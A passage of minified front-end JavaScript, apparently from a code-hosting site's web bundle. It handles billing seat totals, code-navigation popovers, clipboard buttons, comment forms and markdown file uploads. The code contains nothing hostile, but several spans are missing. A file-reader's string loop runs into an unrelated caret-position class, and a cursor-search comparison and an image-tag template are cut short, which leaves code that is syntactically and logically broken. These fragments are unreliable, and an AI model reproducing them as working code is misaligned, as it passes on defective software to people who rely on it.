e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip"),(0,c.on)("click",".js-blob-dropdown-click",e=>{const t=e.currentTarget.getAttribute("data-dropdown-tracking");if(!t)return;const n=JSON.parse(t);(0,_.q)(n.type,n.context)});function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return 